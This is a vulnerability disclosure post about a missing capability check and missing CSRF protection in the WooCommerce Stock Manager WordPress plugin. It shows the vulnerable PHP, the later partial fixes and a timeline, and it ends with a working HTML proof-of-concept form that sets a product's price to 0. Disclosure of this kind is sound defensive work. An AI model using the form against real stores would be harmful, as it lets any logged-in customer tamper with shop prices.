27 Jul

Authenticated Product Settings Change Vulnerability in WooCommerce Stock Manager

When using WooCommerce you introduce an additional security risk due to the fact that WooCommerce allows the creation of WordPress accounts by customers by default. That is a security risk because many of the security vulnerabilities we are seeing found by others and found by us these days involve something that is only exploitable by logged in users. With that risk you would hope that developers of plugin that interact with WooCommerce would be careful to avoid that type of issue, but when we decided to start doing some checks over WooCommerce related plugins we immediately spotted just such an issue.

The WooCommerce Stock Manager plugin allows you to “manage stock for products and their variables from one screen”. Changes from that page are made through the AJAX accessible function stock_manager_save_one_product_stock_data(), in the file /woocommerce-stock-manager.php. AJAX accessible functions are normally available to any logged in users, so if, as is the case here, it only intended to accessible to certain sub set of logged in users you need to put in a check to make sure that it is only accessible to them. That was not done with this plugin, as of version 1.0.7:

50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
function stock_manager_save_one_product_stock_data(){
 
$product_id   = sanitize_text_field($_POST['product']);
  $manage_stock = sanitize_text_field($_POST['manage_stock']);
$stock_status = sanitize_text_field($_POST['stock_status']);
$backorders   = sanitize_text_field($_POST['backorders']);
$stock        = sanitize_text_field($_POST['stock']);
$price        = sanitize_text_field($_POST['regular_price']);
$weight       = sanitize_text_field($_POST['weight']);
 
 update_post_meta($product_id, '_manage_stock', $manage_stock);
 update_post_meta($product_id, '_stock_status', $stock_status);
 update_post_meta($product_id, '_backorders', $backorders);
 update_post_meta($product_id, '_stock', $stock);
 
_wc_save_product_price( $product_id, $price );
update_post_meta($product_id, '_weight', $weight);
 
 
 exit();
}

The plugin also lacked protection against cross-site request forgery (CSRF).

Through that anyone logged in could change a number of product details including the price, stock status, and the weight of the product.

About a month after notified the developer of the vulnerability, they released version 1.0.8 which fixes the issue, though it still wasn’t fully secured.  A nonce was added to the plugin’s admin page and that is checked in the function stock_manager_save_one_product_stock_data() before making changes:

50
51
52
53
54
function stock_manager_save_one_product_stock_data(){
 
  $product_id   = sanitize_text_field($_POST['product']);
 
  check_ajax_referer( 'wsm-ajax-nonce-'.$product_id, 'secure' );

While the nonce is only on a page accessible to those that have the “manage_woocommerce”, there still should have been a capabilities check done before the rest of the function code runs.

After noticing that the nonce check added in that version was broken, as in addition to preventing exploitation of the vulnerability it prevented normally usage of the plugin, we notified the developer of that issue and the lack of a capabilities check.

After that a capabilities check was added in version 1.0.9:

50
51
52
53
54
55
56
function stock_manager_save_one_product_stock_data(){
 
  if( current_user_can('manage_woocommerce') ){
 
  $product_id   = sanitize_text_field($_POST['product']);
 
  check_ajax_referer( 'wsm-ajax-nonce-'.$product_id, 'secure' );

As of version 1.0.9 the  nonce still isn’t one of the places it should be, so plugin is still partially broken at this time.

Proof of Concept

The following proof of concept will change the price of a product to 0, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[WooCommerce product ID]” with the ID of the product you want to change (that can usually be found in multiple places in the source of the product’s page on the website).

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="save_one_product" />
<input type="hidden" name="product" value="[WooCommerce product ID]" />
<input type="hidden" name="regular_price" value="0" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/27/2016 – Developer notified.
  • 7/25/2016 – Version 1.0.8 released, which fixes issue.

Leave a Reply

Your email address will not be published. Required fields are marked *